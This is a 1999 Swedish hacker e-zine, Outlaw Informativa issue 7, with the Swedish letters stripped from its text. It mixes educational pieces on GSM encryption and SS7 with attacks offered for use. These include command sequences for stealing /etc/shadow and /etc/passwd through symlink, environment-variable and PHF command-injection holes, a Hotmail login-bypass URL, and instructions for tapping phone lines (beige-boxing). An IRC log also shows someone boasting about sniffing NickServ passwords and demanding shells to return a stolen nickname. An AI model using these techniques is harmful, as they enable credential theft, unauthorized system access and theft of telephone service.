-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
 

     Heretics Inc. tar o presenterar....






                              [ Outlaw Informativa ]

                                 issue 7, 99-09-08

                               ___________________

                                 O U T L A W  7

                                September 7, 1999 
                               ___________________

                          - A Heretics Inc. Production -



             "Those who desire to give up freedom in order to gain
              security, will not have, nor do they deserve, either
              one".
                      -Thomas Jefferson 



 Nu ska jag (EDITOR) aka BL skriva en liten intro och lite  annat  skit  som
 vi alltid brukar gra. Tja, nu r det regnigt och  skitigt...det r sna dag-
 ar  man  sitter  och  myser framfr nrmsta lilla  Utvecklings  milj  *mysa* 
 Nu vill jag uppmana alla att inte klaga p stackars  crazy-train, han  har s
 inni helvete inte rippat nt i artikeln om GSM.......jaja, Jag  tror fan  jag  
 tar och skiter i artikeln om  Mellanfrstrkare som jag snackade om  i  frra  
 numret. Jag  kan  fr  lite  om dom och verkar ganska ointressanta. Hmm, just  
 fan...va gillade ni min  GSM  security  artikel? c0l4..n, det  e  lugnt  du 
 behver inte klaga p  den; jag vet vad du tycker  om allt jag gr, s r det 
 ju nr man r FJRTIS !!..men kom ihg 14 r  en lder och inte lixom en stil 
 eller  typ av blod..hh, skit  samma. Jag har varit ute med Segelbten ocks,
 1 vecka dess verre..men de va sknt  som fan men man lngtade hem till datorn
 och lukten  av  gata. Nu ut och haxxa VMS burkar nu. Jag r inte elajt jag r 
 bara 0nd och str fr mitt citat 0ndska r  Krlek. Lite  annat  shit  ocks,
 o-i var ju frut men nu r det en blandning av serist och humor/ironi.

 C:\> type C:\WINDOWS\SYS.LOG
  
 Begin of Microsoft(C)(R)osv..osv..osv.., System LOG

 Nope, no fraud on your .comp today just Bill Gates looking at funny porn 
 pics.

 C:\>

  Min  humor  r  s dlig att den r bra, det r det som r pongen, snorrrk.


 -----------------------------------------------------------------------------
                                  Disclaimer
 -----------------------------------------------------------------------------
 All denna skitiga information r bara  till  fr  utbildningssyfte  och  snt 
 tjafs. S du fr  fan  ta  ansvar  fr  dina  egna  handlingar  om  du skulle
 hamna i bur pgrund  av  utfringar  av  informationen  som  man faktiskt kan 
 lsa hr. Kiss och Bajs lder p oss som gmmer sig bakom en Disclaimer, det
 r ju alltid bra att ha en...paranoid aka diox1de.


 -----------------------------------------------------------------------------
                                    Medverkande
 -----------------------------------------------------------------------------
 Jo fan sklart man mste ha en lista p alla som r med och skriver till just
 detta issue. HHH...hr r den !


 Alias: diox1de                    Contact: keytrace@usa.net
                                     
 Alias: dthl                       Contact: #Phreakerz@DALnet
                                        
 Alias: ncode                      Contact: #swehack@DALnet
                                       
 Alias: crazy-train                Contact: #Phreakerz@DALnet
                                 


 -----------------------------------------------------------------------------
                
                    w w w . i n t e u p p e  n . c o m



                 I N N E H  L L S F  R L E K N I N G



          Staff          
 
           1:1 . Editor                                
           1:2 . Disclaimer                          
           1:3 . Medverkande                         
           1:4 . Innehllsfrlekning
           1:5 . Aktuellt
           1:6 . Outlaw Informativa sker skribenter                

          Phreaking och Phelefoni
           
           2:1 . Skerhet i GSM systemet, del #2          av: diox1de
           2:2 . GSM telefonen och dess funktion          av: crazy-train
           2:3 . SS7 - Den magiska signalen               av: diox1de
           2:3 . Adapter fr vita terminaler              av: dthl
           2:4 . Polisen tvingar telebolagen, arghh       av: diox1de

          Hacking, Networking och Unix

           3:1 . msg'a kanalen du r bannad p            av: diox1de
           3:2 . Vem som helst kan lsa din Hotmejl       av: diox1de
           3:3 . 0ldschool Hacking: /etc/shadow           av: diox1de
           3:4 . Linux Skerhet Administration            av: diox1de 
           3.5 . Cisco kommando lista                     av: ncode
           3:6 . Ethernet kort till Windows CE            av: diox1de
           3:7 . Svenska hackers hackade NASA, busted !   av: diox1de

          Bomber (Hjlp!)

           4.1 . Svin ltt & rolig Bomb                   av: dthl

          Snusk och slut p numret

           5:1 . Copyright
           5:2 . 3x1t3d(), eller nt




 -----------------------------------------------------------------------------
                                   Aktuellt
 -----------------------------------------------------------------------------
 
  Knash's nick vertaget
 
   Knash fick reda p att hans nick blev vertaget runt midnatt den 31 august-
   i. Den lilla fjrtis till lamer sig sig ha sniffat nickserv med  ett  elajt
   h4xx0r program som han med sjlvklarhet inte  alls  skrivit sjlv. Eftersom
   nickserv skickar ident requests som r i form av kommandon i klartext s r
   det fullt mjligt att sniffa nickserv. Knash  har bytte nick temporrt till
   dcrypt men har nu ett fast nick (diox1de) nuvarande  diox1de  snackade  med
   lamern  som sger att hans orginala nick r [f]LASH, men inget r klargjort
   n.

   $ log beginning

   knash^ (fIKUS@z2-1-76.sbbs2.net)
   <knash^> jaha
   <knash^> hejhej
   <knash^> :)
   <Dcrypt> vem e du ?
   <knash^> ke
   <knash^>  du  knash
   <knash^> dum du   ger bort ditt pass
   <Dcrypt> det har jag inte gjrot
   <Dcrypt> gjort even
   <knash^> j
   <knash^> o
   <Dcrypt> hmm..skicka log
   <knash^> jag  ivil haxxor  snodde ditt nick
   <knash^> :)
   <Dcrypt>  s ivil du r, varfr gjorde du det d? 
   <knash^> [Knash^(me@t3o29p13.telia.com)] identify secretcpp
   <knash^> :)
   <Dcrypt> sniffade du eller ?
   <knash^> yeye... whatevah :)
   <knash^> tycker att ni p #swehack ska sluta snacka om att  ni    s  elit 
            hela tiden  gra nt t saken
   <Dcrypt> hehe, jag har inte sagt att jag e l33t..
   <knash^> tsss
   <knash^> men du fr inte tebax ditt nick iaf :)
   <knash^> om jag fr ett shell s fru det
   <knash^> :)
   <Dcrypt> jag har inge shel 
   <Dcrypt> shell
   <knash^> fixa d
   <knash^> :)
   <Dcrypt> hh.
   <knash^> jo
   <Dcrypt> nej...r du s lam s att du tar ver nns nick och utpressar per-
            sonen s kan du lika grna behlla det
   <knash^> haha
   <knash^> lam?
   <knash^> vill ha mer shells juh!
   <Dcrypt> d r det inte din dag i dag
   <knash^> mohaha
   <knash^> tar ver nns nick? det va juh du som gav det till mej
   <Dcrypt> ja visst du
   <Dcrypt> skicka loggen da
   <knash^> har redan visat dej
   <Dcrypt> bytt passwd har du gjort ocks, nnu mer elajt
   <knash^> javet
   <knash^> annars kan juh du ta tebax det :)
   <Dcrypt> inte mot nt shell iasfs
   <knash^> tss
   <knash^> haru nt att trada d?
   <knash^> ftp?
   <Dcrypt> nepp, du fr inget av mig iafs
   <knash^> haha
   <knash^> oOOoOo
   <knash^> nuker
   <Dcrypt> snacka inte skit om dig sjlv
   <knash^> haha
   <knash^> lamer
   <Dcrypt> Har du kul ?
   <knash^> ja
   <knash^> :)
   <knash^> bara s du vet s  jag [f]LASH  fLAERP  jag  sniffade  nickserv 
            s jag har p alla som identifyade d
   <knash^> :)
   <Dcrypt> k, den dr [f]LASH verkar inte kunna ett skit
   <knash^> hehe
   <knash^> ne javet
   <knash^> han  jtte lam
   <knash^> ojoj
   <knash^> d  JAG dsom  [f]LASH din nolla  jag  mer elit n du nnsin
            kommer bli
   <knash^> :)
   <Dcrypt> Du fattar inget, klart jag vet att flash e du..
   <knash^> lamer du 
   <knash^> sluta snacka i gtor d
   <Dcrypt> eftersom du r s jvla l33t s borde du fatta hur man snackar.
   <Dcrypt> Sg nt du kan
   <knash^> typ en massa.. lite c.. lite linux.. massa win :).. ganska lam men nd 
            mer leet n du
   <Dcrypt> skulle inte tro det
   <Dcrypt> win r inget att kunna
   <Dcrypt> Jag lovar du vet inte ens vad Public/Private key andvnds till 
   <Dcrypt> Jaja, bestm sjlv..ge mig tillbaka nicket eller behll det 
   <knash^> behller
   <Dcrypt> Jag lovar du vet inte ens vad Public/Private key andvnds till 
   <Dcrypt> Din fula lamer
   <knash^> hihi
   <Dcrypt> Jag lovar du vet inte ens vad Public/Private key andvnds till 
   <Dcrypt> !

     Som ni ser s visste inte den som kallar sig [f]LASH (muwahah, lamt nick)
     vad Public/Private key andvnds till.

 -----------------------------------------------------------------------------
                       Outlaw Informativa sker skribenter  
 -----------------------------------------------------------------------------
 Outlaw Informativa eller  gruppen sker medlemmar som har hyffsad kunskap och
 inte har nt emot att skriva. Man ska ha fler kunskaper n Phreaking, vi vill
 inte ha en massa lajta beige-boxers hr. Outlaw Informativa har aldrig skriv-
 it om hur man bygger en LMHS och kommer aldrig att gra.

 Bra att kunna om du vill bli med:
  Hacking (Ntverk, Bakdrrar etc) Unix (hur det funkar, skerhet, ntverk)
  Phreaking (Vxlar, signalsystem etc) Programmering (t.ex. Assembler, C/C++, 
  Java osv) Kryptering (Nyckelhantering, algoritm strukturer osv)

  Detta r absolut inga krav, men har du kunskaper kring  detta  r  det  stor
  chans att du kan bli en av oss ;)..S lnge du har nt  att  skriva  om  och 
  vet ditt syfte till att skriva och ger ut  bra  information  snt  som  folk
  lser och inte kastar bort.

 Maila keytrace@usa.net om du vill bli 0n3 0f us =)


 -----------------------------------------------------------------------------
                        Skerhet i GSM systemet, del #2
 -----------------------------------------------------------------------------

  [Inledning]
 
 I frsta delen om GSM skerhet skrev jag om hjrtat "Subscriber Identity Aut-
 hentication, hur det funkade teoretiskt och vilka  algoritmer  som  andvndes
 till vad. Fr att lsa den hr delen behver du  lite  frstelse  fr  olika
 element i kryptering, men jag kommer hjlpa till lite end :P

  [A5 i teorin]

 A5 som ni kanske  inte  kommer  ihg (om inte, kolla Outlaw-06) krypterar tal
 mellan 2 mobilphelefoner med nyckeln Ki, mkt mer behver du inte  fatta om du
 vill ha en mer omfattande frklaring s ls outlaw-06, uhmm...damn  jag  str
 och tjatar om outlaw-06 hela tiden...denna artikel r ju baserad  p att  man
 lst Del #1. Observera att det hr r delvis rippat eftersom jag  sjlv  inte
 fattar riktigt allt, men texten r ju skriven fr er :) Jo fressten  det  r 
 10% rippat s att ni inte tror att jag rippat 90% av den, beheeh.

 A5 r ett "streamcipher" som skapas av  tre LSFR (Linear Feedback Shift Regi-
 ster) av graderna 19, 22 och 23.

 Newbie note: Ett streamcipher r teknik  vid kryptering, den krypterar en bit
              i taget med hjlp av en keystream.


 Klockkontrollen r en slags trskel funktion  av de mittersa bitarna i de tre
 olika skift-registren.


 Summan av graderna fr skift-registren  64 (19+22+23) och d andvnds  allts
 en 64-bits "session key" fr att initiera regstren.

 Newbie note: Session Key r en  symmetrisk nyckel och  det  innebr  att  den
              andvnds bde vid kryptering och dekryptering.


 Sen matas det 22-bitars ramnumret in i TDMA registret.


 Fr varje TDMA skapas tv 114-bitars keystreams  sedan gr en XOR p Downlink
 och Uplink (Trafiksignaler)

 Newbie note: 890 och 915 MHz anvnds  fr  Uplink  och 935 och  960  MHz  fr 
              downlink. Uplink menas kommunikationen mellan  phelefon till ba-
              sstation medans Downlink anvnds  fr  kommunikation  i  motsatt
              riktning.


 Skerheten i detta beror p hur cepe man r. Har man inte  tillrcklig  lngd
 p nyckeln och hur  passa  bra "keystreams" r och  hur  slumssigt  generard 
 den r.

  Lite info hr kanske r lite lik "Att frst Telekommunikation" och det kan-
  ske beror p att jag ftt infon dr ifrn.

  [Slutord]

 Mer om GSM Skerhet kommer i Outlaw Informativa, issue #8 dr jag  hade tnkt
 att ta upp mer om olika egenskaper i GSM systemt.


 -----------------------------------------------------------------------------
                        GSM telefonen och dess funktion 
 -----------------------------------------------------------------------------
 En GSM-telefon kan beskrivas med ett blockschema.
 Hr kommer detta och det beskriver en GSM-telefon's sndare och mottagare.

 

                                             _______
                                            |  GSM  |
                                            |Telefon|
                                            |_______|
                                      _____/         \_____
                                     /                     \
                     _______________|___               _____|________________   
 270 kbit/s -->     [Moduleringssnadare]-------------[Mottagare/demodulering]
                     |               |                          
                        ____________|___               _____|___
 33,8kbit/s -->        [Skur-formatering]-------------[Utjmnare]
                        |               |
                              ______|___               _____|______
                             [Kryptering]-------------[Dekryptering]
                              |               |
                            ________|___               _____|________
                           [Interleaving]-------------[Deinterleaving]
                            |               |
 456bitar/20 ms -->         ________|___               _____|_
 22,8 kbit/s               [Kanaldekoder]-------------[Decoder]
                            |               |
 260bitar/20 ms -->           ______|___               _____|______
 13 kbit/s                   [Talkodning]-------------[Talavkodning]
                              |               |
 160 samples * 8 bitar/20ms --> ____|___                   _|_
                           [Segmentering]                 [D/A]
                            |                   |
 8000 samples/s * 8 bitar -->      _|_                 _____|___
                                  [A/D]               [Hgtalare]
                                   |                 
                                ____|___
                               [Mikrofon]
                                
                                                                        

 Hr nedanfr kommer jag bara ta upp de mest intressantaste bitarna av blocks-
 chemat.

 									     
 Talkodningen-
 Bithastigeten 64kbit/s fr talverfringen r en alldeles fr stor informati-
 onsmngd fr tt effektivt uttnyttjande av ntet. Man infr talkodning  vilket 
 innebr att man skapar en kopia av det  mnskliga  talorganet. Vrat talorgan
 arbetar relativt lngsamt och  man  kan  utan  alltfr  stor  avvikelse  frn 
 verkligheten rkna med att det inte ndrar karaktr mer n  ar  20  ms. Talet 
 analyseras under 20 ms. Med hjlp  av  motsvarande  utrustning  i  mottagaren 
 omvandlas signalen till ett s k syntetiskt  eller  konstgjort  tal. P  detta 
 stt kan verfringshastigheten minskas till 13 kbit/s.

 Talkodningen   r  konstruerad  fr  talsignaler  och  r  inte  lmplig  fr 
 verfring av andra signaler, t ex rena datasignaler frn datorer  och  faxar 
 som r anslutna till mobiltelefonen. Dessa ansluts via  ett  srskilt  modem. 
 Och signalerna passerar inte denna talkodaren som kortar ner verfringshast-
 igheten, utan man kan kra p i c:a 64kbit/s.

 Kanalkodningen-
 Kanalkodningen innebr att man kan upptcka och korrigera fel i  den mottagna 
 bit-signalen. Det finns d ytterligare bitar  tillgngliga, som  anvnds  som 
 kontrollbitar  eller  checkbitar. Dessa  bitar  ger  mottagaren mjlighet att 
 korrigera fel som uppsttt, t ex p grund av strningar i verfringen.

 Interleavingen-
 Interleaving r en metod att ytterligare minska felen i verfringen. Kanalk-
 odningen rttar kortvariga fel, fel i enstaka bitar Med interleaving kan mera 
 "lngvariga" fel korrigeras, dvs interleavingen  motverkar  att  flera  bitar 
 fljande  varandra   frsvinner. Detta  sker  genom  att  den  digitaliserade 
 signalens bitar inte snds i logsk fljd utan bitarna i ett 20 ms-block snds 
 ivg i en annan fljd, vilket gr att inte nnting stmmer.

 Kryptering/Formatering-
 Kryperingen  ska  fungera  s att det ska vara "omjligt" fr utomstende att 
 avlyssna samtalet. I mobiltelefonens  processor  finns  en  krypteringsnyckel 
 lagrad. Var gng telefonen frsker registrera en ny postition  eller  koppla 
 upp ett samtal, kontrolleras abonnentens identitet. Frn MSC skickas ett slu-
 mptal till telefonen. Med hjlp av en algoritm som tillhr  nyckeln  berknas 
 ett svar, som  telefonerna  skickar tillbaka till MSC och vidare till VLR som 
 kontrollerar  att  svaret  r  korrekt. Om  svaret inte  r korrekt, s finns 
 abonnemanget hos ngon annan operatr eller 
 r av ngon anledning inte lngre giltigt.

 Nr  data  snds, krypteras  dessa  i  telefonen  med hjlp av den "inbyggda" 
 nyckeln och det versnda slumptalet. Den krypterade  signalen  tas  emot  av 
 ntet, som omkyrpterar signalen s att den passar till mottagarens nyckel och 
 det slumptal som versnts till denna. Om allt r korrekt sker en dechifferi-
 ng i mottagartelefonen.

 Efter att meddelandet krypterats i sndartelefonen, sker ngot som kallas fr 
 skur-formatering. Det betyder att informationen p lpmligt  stt  kombineras 
 med information om den kanal som kommer att anvndas fr sndningen.

 Efter dessa ingrepp ligger datahastigheten p c:a 33,8 kbit/s.

 Nu n slnge har vi gtt igenom det mest intressanta steg-fr-steg i vad som 
 egenligen hnder i din lilla nalle :)

 Nu ska jag g in lite djupare in p mnet "Modulering/sndning":

 Mobiltelefonen arbetar p frekvensomrdet 900 MHz. Det aktuella frekvensomr-
 det ligger mellan 890 och 915 MHz vid  sndning  och  935  och  960  MHz  vid 
 mottagning. Frekvenskillnaden mellan den s k brvgen vid sndning respektive 
 mottagning  r  45 MHz. Avstndet  mellan  tv  kanaler  ska  vara 200 kHz. I 
 vardera  sndningsriktningen  finns drfr totalt 124 kanaler att dela p. P 
 grund av att flera delar p  dessa. 124  kanaler, har  varje  GSM-operatr  i
 Sverige 4,8 MHz, dvs 24 kanaler till frfogande fr sin egna trafik. 

 Brvgen, t ex 900 MHz, r en sinusformad signal som alstras p sndaren. Den 
 informationen  som  ska  verfras, fr  p ngot stt frndra brvgen frn 
 sndaren. Detta kan ske genom att amplituden, frekvens eller faslget pverk-
 as. Detta kallas fr modulering som ni kanske vet :)
 GSM anvnder en typ av fasmodulering. Brvgen innehller allts en  avikelse 
 frn den ursprungliga sinuskurvan som motsvarar vran krypterade information. 
 Nu gller det att utnyttja de 24 kanaler s effektivt som mjligt. Genom  att 
 utnyttja en typ av timesharing kan 8 frbindelser  etableras  per  kanal. Man 
 kan  sga  att varje sndningsperiod delas upp i 8 intervall och i ett sdant 
 placeras vr formaterade skur av krypterad information. Efter moduleringen r 
 datahastigheten 270 kbit/s Rckvidden r begrnsad fr en basstation  och  en 
 telefon r maximalt ngot tiotal  km  vid  frekvenser  av 900 MHz, kan  samma 
 anvndas av flera basstationer utan att detta  str  verfringen. Det gller 
 endast  att  frdela kanalerna mellan basstatuinerna p ett intelligent stt.
 Varje  basstation  tcker  en  cell. Ett  antal celler bildar tillsammans ett 
 cluser och tillgngliga kanaler frdelas p dessa celler. Detta  innebr  att 
 samma kanal anvnds fr vering av mnga samtal, och det r inte alls  skert 
 att sndande telefon och mottagande telefon anvnder samma kanal. Det viktiga 
 r att de akuella uppkopplingarna finns s lngt ifrn varandra att  de  inte 
 str varandra. Det innebr ocks att nr du lmnar en cell, kan du, naturlig-
 tvis automatiskt, kopplas om till  en  annan  kanal  under  pgende  samtal. 
 Aktuellt MSC skter om kanalvalet. 

 Ntet-
 Nu sger vi att din krypterade signal kommit ut p ntet. I det fasta telen-
 tet r verfringskapaciteten nstan obegrnsad. Hr frs den vidare till den 
 operatrs nt som den abonnent du anropat r ansluten  till. Sedan  frs  den 
 vidare till den MSC som din talmottagare r uppkopplad  till. Anpassningen r 
 kryptering sker till mottagarens kodnyckel och algoritm.

 Ok nu har vi gtt igenom sndnings-delen.

 I  nsta nummer  av  Outlaw Informativa ska jag skriva lite om mottagardelen, 
 vilket r lite mindre komplicerat.Ok nu skriver jag in vad alla frkortningar 
 jag anvnt betyder.


 GSM = Global System for Mobile Communications, eller p svenska : globalt 
       mobil-kommunikationssystem.

 NMT = Nordic Mobile Telephone System (analogt system, omtalat i 900 MHz 
       frekvensen om ni inte visste detta)

 MSC = Mobile Switching System
 VLR = Visitor Location Register = "beskregister".


 -----------------------------------------------------------------------------
   [Grundlggande]        SS7 - Den magiska signalen
 -----------------------------------------------------------------------------
 

  Innhll:
  
  --> Inledning
  --> in-band/out-band signalering
  --> Associerad signalering
  --> Olika funktions element i SS7
  
  
  [Inledning]

 SS7 r ett ett Digitalt Signallerings Ntverk som avnds fr att  koppla  och
 hantera kommunikationen p de allmna  telentet, det  kallas "Smart Network"
 och menas att det har inbyggda funktioner i sjlva ntverket. SS7 r uppdelat
 i olika delar och varje har sin egen funktion att  hantera. Eftersom  SS7  r 
 digitalt kan man andvnda den till  andra  saker  t.ex. D-kanalen  fr  ISDN.
 SS7 har ocks mjligheter att kunna verfra multimedia  som  bild, ljud  och
 data. Teletrafik och Datatrafik snds ver  olika  kanaler  eftersom  det  r
 olika krav p utrustning, datatrafik krver grymmt mycket hgre bandbredd  n
 teletrafik.
 
 SS7 = Signalling Systems 7


  [in-band/out-band signalering]

 Frn brjan va SS7 ett "multi frequency in-band- telephony signalling system"
 men  har  nu  ersatts  med "common  channel  out-of-band  signalling  system"
 Frn brjan va det tnkt att SS7 bara skulle frnya  den gamla  tekniken  att
 koppla upp och hantera teletrafik men har nu ftt andra andvndningsmjlighe-
 r, SS7 kan t.ex. transportera ISDN signaler som andvnds vid Internet-Kommun-
 ikation. Fr att du ska frst vad in-band och out-band signalling  r  mste
 det finnas en enkelt frklaring och jag hoppar inte ver nt. In-band signal-
 ling r nr ALL information gr  genom  samma. Out-band  signalling  r  lite
 annorlunda. Out-band signallning  etablerar  en  separat  digital  kanal  fr
 vxling av signal information. Denna kanal  kallas  fr "Signal Lnk". Signal
 Lnkarna r till fr  att  hantera  all  ndvndig  information i signalering
 mellan olika noder. S, vad r det som r s bra med out-band signalering d?
 
   --> out-band signalling tillter transport med hgre hastigheter med mer 
       data. 56kbps kan hantera data s grymt mycket snabbare en 
       "Multi Frequency Outpulsing"

   --> out-band tillter att starta signalering nr som helst och var som 
       helst.
  
   --> out-band gr det mjligt att signalera till olika funktioner i ntverk-
       et dr det inte r nn "Direct Trunk Connection".


  [Associerad signalering]

 En typ av associerad signalering
 
 ||***************************||
 | || |***************************| || |
 | |Vxel |***************************| |Vxel | (Ful ASCII, by diox1de(C)
 | | #1 | |***************************| | #2 | |
 | |    | |***************************| |    | |
 | |____| |---------------------------| |____| |
 |        |                           |        |
     * = "Voice Trunk"         
             - = "Signalling Link"

 Associerad signalering funkar bra s lnge vxeln bara kraven fr signalerin-
 gen r mellan sig sjlv  och  andra  vxlar. "The North America implementers"
 ville designa ett SS7 ntverk som gjorde det  mjligt  att  vilken "node" som
 helst skulle kunna vxla signaler med vilken vrig SS7 kabel node" som helst.
 Fast Associerad Signalering blir mycket mer kompilcerat  nr  man  ska  vxla
 signaler mellan olika "noder" som inte har ngon fast anslutning.


  [Olika funktions element i SS7]

 SSP : Service Switching Points
       r en telefon-vxel med inbyggd  mjukvara fr Signallings Systems 7 och
       Hanterar  uppkopplingar och addressering av anrop. Kan ocks  andvndas
       fr att  stlla frgor  till en  Central  databas (SCP) om  vilken  vg
       en frbindelse ska kopplas upp vid. SSP r sjlva porten till SS7 nte-
       t.

 STP : Signal Transfer Points
       Hanterar  ntverkstrafiken  mellan  olika  signalerpunkter. STP  kollar 
       information i SS7 paketen fr att veta var den ska vidarbefoga paketet.
       Detta kan vara en liknelse hur en HUB arbetar. En signalpunkt andvnder
       en "Routing table" fr att veta var paketet ska ngon stanns.

 SCP : Service Control Points 
       r en typ av databas som kan kolla   information  och  verifiera  t.ex.
       kreditkort.

  [Efterord]

 Hoppas du fattade nt iafs..och sen fr jag inte glmma klla satt inga idio-
 ter fr fr sig att jag rippar =)
 Jag gjorde det vldigt grundlggande nu, faktiskt s brjade jag skriva avan-
 cerat hur ntet fungerade och vilket element som kommunicerade med vilket men
 eftersom jag inte alls lyckades med att gra en tydlig ascci bild s blev det
 inget av det, om du skickar nt liten dos program till mig  som  kollar  alla
 pixlar och snt och formar om en bild till ascii s kan  jag  nog  ta  mig  i
 kragen och skriva en avancerad del.

  Maybe be to continued...

 Klla: --> Att frsta Telekommunikation
        --> Illumient, Signalling Systems 7.

		      
 -----------------------------------------------------------------------------
                           Adapter fr vita terminaler
 -----------------------------------------------------------------------------
 Ok, nu brjar vi d. Den vita terminalen r en frnyad version av den "gamla" 
 svarta terminalen med skruvar. Nufrtiden s byts en del gamla terminaler  ut 
 mot de nya, drfr telia gr detta r att frhindra missbruk, fast det r  ju 
 ltt att g igenom det nd. I bland s sitter det adapters p vit terminale-
 n, ( adaptern gr beige-boxing frn vita ltt som  en  pltt ) jag  tror  att 
 adaptern r till fr linjemannens special lmhs, det brukar sitta  en  adapter 
 p nstan alla vita terminaler, men sitter det ingen adapter dr du ska beiga 
 s r det bara att bryta upp en annan japp och ta ls adaptern och stta  den 
 p den viting som du ska abusa. De flesta vet hur en vit terminal, om du inte 
 vet det s kan du ta en titt p vsp's  bildarkiv  och  vet  du  inte  hur  en 
 adapter s kan du kolla p den hra fina ascii bilden:

  _______                                         _______
 /      |                                         |      \
 |      |_________________________________________|      |
 |  ___/                                           \___  |
 | |      ____  _____ _____ _____ _____ _____          | |
 | |___   |   | |   | |   | |   | |   | |   |       ___| |
 |     \  |___| |___| |___| |___| |___| |___|      /     |
 |      |__________________________________________|     |
 |      |                                          |     | 
 \_______                                           ____/

 Jag vet att denna bild inte sger s mycket men jag ska fota  en  sedan, fast 
 hr r lite mer fakta om adaptern, den r gr och p  ovan  sidan  str  det:
 A952 7569 8840. P varje adapter finns det 10 linjer ( som p vita och svarta 
 terminaler ) och allts 20 hl. Du lddar/binder fast  nlar  eller  tv  sm 
 pltbitar p beige linan och stoppar in tv hl. Sdr ja! nu har du lrt dej 
 hur man beigar frn vitingar.

 // dThl

 [Knash fyller i: Finns p bild p adapter p:
  http://members.xoom.com/firecrew/pics/vit.jpg]


 -----------------------------------------------------------------------------
                       Polisen tvingar telebolagen, arghh
 -----------------------------------------------------------------------------
 Farbror bl suger stock ! klart att det alltid finns en vg  ut  men  nu  ska
 snuten frsmra fr oss, dom tvingar Telebolagen att dom ocks ska  kunna  ha
 access till att avlyssna krypterade samtal  och  f  fram  klartext. Det  ska
 allts finnas en massa ondig hrdvara och program fr att f  encrypted till
 cleartext, uurk. P riksdagens fula bord ligger det redan ett fult lagfrslag
 (proposition 1994/95:227) om ndring av rttegngsbalken) .....det brjar bli
 sorgligt nu. Jj, vi kan vl skaffa en algoritm som r omjlig att  forcera.
 Men hur lng tid kommer det ta ? ..och hur mnga fattar s mycket att de  kan
 va med ? inte speciellt mnga, inte heller jag...Nu pallar inte jag mer arti-
 keln e slut kanske.


 -----------------------------------------------------------------------------
                          msg'a kanalen du r bannad p
 -----------------------------------------------------------------------------
 Jag satt och plinkade p IRC och diskuterade p #Nuke.se  hur  allvarligt DoS
 egentligen r, n....men de enda intressanta med DoS  r  hur  det  funkar...
 TCP/IP, UDP osv. r ju inte byggda fr att kunna krasha andra hosts. Sen blev
 jag ju bannad sklart sen testade jag  skriva /msg #nuke.se nuke  l337s...jao
 och det funkade, vetta fan om det r inbyggt eller om det r en  bug. Lt oss
 sga att det r en bug, mkt roligare s. Ja men vi synns p #2,000. Hmm, lg-
 ger  till  lite  p  artikeln efter som r mrkt lite saker. Detta kallas fr
 External Message och fungerar bara om kanalen har satt +n (No external Messa-
 ges)

 Sen blir man ju tvingad att tacka Bhunji som gav  frslag  p  topicen, ville
 inte lta de se ljligt ut, BL.


 -----------------------------------------------------------------------------
                       Vem som helst kan lsa din Hotmejl
 -----------------------------------------------------------------------------
 Jo som vanligt s r ju Microsoft inga  skerhets  experter. nnu  ett  liten
 lucka i Hotmails system. Du kan lsa vem som helsts account  och  det  r  ju
 lamt men andvndbart, mnga  miljoner  andvnder  hotmail  och  ofta  skickas
 mail med passwds till ditt nya t.ex. X00M konto. 

 Connecta bara till: 

 http://207.82.250.251/cgi-bin/start?curmbox=ACTIVE&js=no&login=USERNAME&passwd=eh

 Med din favorit HTTP klient. Observera att USERNAME byts ut mot valfritt
 username ;)

 Detta funkade dock inte lnge, redan fixat. Men s ni vet vad hlet va. r d-
 et ngon som tekniskt vet  hur  bakdrren funkade s kan ni  skicka  en jvel 
 till mig p keytrace@usa.net.


 -----------------------------------------------------------------------------
                         0ldschool Hacking: /etc/shadow
 -----------------------------------------------------------------------------
  
  [Frord]
   
 Jag tnke frklara ett par gamla godingar, allts olika tekniker fr att kun-
 na rycka t sig /etc/shadow. Jag vill inte ha  en  massa  klagoml  p  denna
 artikel, den r ju inte direkt fr avancerad och det r ju inte jag heller =)
 

  [XFREE86]
   
 Detta ska funka p de flesta *nix system som  kr  XFREE86  och  utfrs  med:

 XF86_SVGA -config /etc/shadow
 
 Om det inte r Fredag den 13 och du inte har ftt ditt  dagliga  rvknull  av
 far din s ska /etc/shadow ge utdata p terminalen.


  [Hl i libc 5.4.7] 
   
 Jao, i de flesta *nix systemen ska  det  ocks  finnas  ett "Security hole" i
 libc 5.4.7 som lter dig stta resolv_hots_conf till vilken fil som helst. Om
 du kan kra ett SUID program som andvnder resolv_host_conf typ ping, tracer-
 oute, ssh, rlogin. Om du nu t.ex. andvnder ping s ska  ping  ge /etc/shadow
 som utdata p terminalen.

 1. Skriv bash fr att starta bash skalet.
 2. Skriv export RESOLV_HOST_CONF=/etc/shadow
 3. Skriv ett av fil namnen ovan med asdf, t.ex. ping asdf


  [Rycka /etc/shadow med dip]
   
 En del Linux Slackware burkar kan du andvnda dip fr att exploita root, den
 kan ocks andvndas fr att rycka t sig /etc/shadow.

 ln -s /etc/shadow /tmp/buh.dip /sbin.dip -v /tmp/buh.dip


  [Gammalt .lastlogin trick]
   
 Sen finns det ett gammalt SCO och Sys V .lastlogin trick. Kolla s att .las-
 tlogin i ditt hem bibliotek s att den gs av root eller auth
 
 rm -f ~rm -f ~/.lastlogin
 ln -s ~/.lastlogin /etc/passwd

 Logga nu ut och logga in igen s du kan skapa lnken.

 cat .lastlogin > passwd
 rm -f ~/.lastlogin


  [ypcat p mglande Unix system]
   
 Sen kan du alltid testa ypcat /etc/passwd som kan  funka  p  sndermglade
 Unix system.


  [PHF r en historia]
   
 Egentligen tnke jag inte ta med PHF eftersom det r sndermglad  och att
 det inte finns nn server som har PHF hlet. Men det finns faktiskt  gamla
 Asiatiska system dr PHF fortfarnande funkar.

   http://www.target.com/cgi-bin/phf?Qalias=x%ffcat%20/etc/passwd
    
    eller kanske...

   http://www.target.com/cgi-bin/phf?Qalias=x%0Acat%20/etc/passwd


  [Unshadow .c script]
   
 Kan funka p en del *nix versioner som r gamla som gatan.

 #include <pwd.h>

 main()
 {
   struct passwd *p;
   while(p=getpwent())
   printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,
   p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
 }


 Klla: shadow.txt

        Detta borde lsas av allas petiga typer!
        All information i artikeln r inte  helt
        skrivet med egna ord. S  kom  inte  och
        klaga p att texten r likt  de engelska
        orginalet.


-----------------------------------------------------------------------------
                         Linux Skerhet Administration
 -----------------------------------------------------------------------------
 Jag r relativt ny p Linux och blev sugen att skriva lite  om  skerhet  nr
 jag grubblade  igenom axxezz's artikel i SuZ om Linux security. S  jag  hade
 tnk frklara enkelt om skerhet i olika dist o  unix  system  i  allmnnhet.
